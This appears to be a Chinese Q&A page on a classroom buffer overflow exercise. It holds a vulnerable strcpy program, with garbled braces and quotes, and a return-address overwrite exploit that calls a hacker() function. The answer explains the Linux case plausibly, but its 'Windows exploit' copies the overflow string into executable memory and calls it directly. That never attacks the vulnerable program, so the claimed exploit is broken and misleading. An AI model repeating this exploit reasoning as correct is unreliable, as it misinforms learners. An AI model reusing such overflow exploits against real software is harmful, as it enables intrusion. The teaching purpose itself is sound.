下面给出缓冲区溢出漏洞的一个实例,请结合函数调用的栈结构,说明为什么攻击会成功。 test.c #include <stdio.h> #include "string.h'" void outputs(char*str){ char buffer[16]; strcpy(buffer, str); printf("%s \n", buffer); void hacker(void){ printf("being hacked\n"); int main(int argc, char** argv[]){ outputs(argv[1]); return 0; 假定hacker函数首地址为0x8048411,则可编写如下的攻击代码实施攻击。 #include <stdio.h> char code[] “0123456789ABCDEFXXXX" “\x11\x84\x04\x08 "|x00"; int main(void){ char *arg[3]; arg[0]="./test". arg[1]=code; arg[2]=NULL; execve(arg[0], arg, NULL); return 0; 请在Windows平台上验证攻击能否成功?如果不成功,请说明原因?通过查阅资料,你能否 编写出Windows平台上的一个缓冲区溢出漏洞利用程序?全部代码和分析
时间: 2024-01-20 16:03:03 浏览: 58
首先,这个程序存在缓冲区溢出漏洞的原因在于,在函数outputs中使用了strcpy函数将str字符串复制到了buffer数组中,但是没有对str字符串长度进行限制,当str字符串长度大于16时,就会导致buffer数组溢出。
攻击成功的原因在于,攻击者构造了一个字符串code,其中包含了hacker函数的地址0x8048411以及一些填充字符。当攻击者将code字符串作为参数传递给程序时,程序会调用outputs函数,并将code字符串复制到buffer数组中。由于code字符串中包含了hacker函数的地址,因此,当程序执行完strcpy函数后,会从hacker函数的地址开始执行,进而执行hacker函数中的代码,从而实现了攻击。
在Windows平台上,由于函数调用的栈结构不同,攻击代码需要进行相应的修改。以下是一个Windows平台上的缓冲区溢出漏洞利用程序的示例:
```c
#include <windows.h>
void hacker(){
MessageBox(NULL, "Being hacked!", "Warning", MB_OK);
}
void outputs(char* str){
char buffer[16];
strcpy(buffer, str);
printf("%s\n", buffer);
}
int main(int argc, char* argv[]){
outputs(argv[1]);
return 0;
}
```
攻击代码:
```c
#include <windows.h>
char code[] = "AAAAAAAAAAAAAAAA" // 填充字符
"\x10\x00\x40\x00" // hacker函数地址,little-endian格式
"BBBB"; // 填充字符
int main(){
LPVOID lpvPayload = VirtualAlloc(NULL, sizeof(code), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(lpvPayload, code, sizeof(code));
((void(*)())lpvPayload)();
return 0;
}
```
攻击代码中,首先使用VirtualAlloc函数在进程的虚拟地址空间中分配一段可读写可执行的内存,然后将攻击代码复制到这段内存中,并将其转换为函数指针类型,最后调用该函数指针即可触发攻击。需要注意的是,Windows平台上的攻击代码中,函数地址需要使用little-endian格式。
阅读全文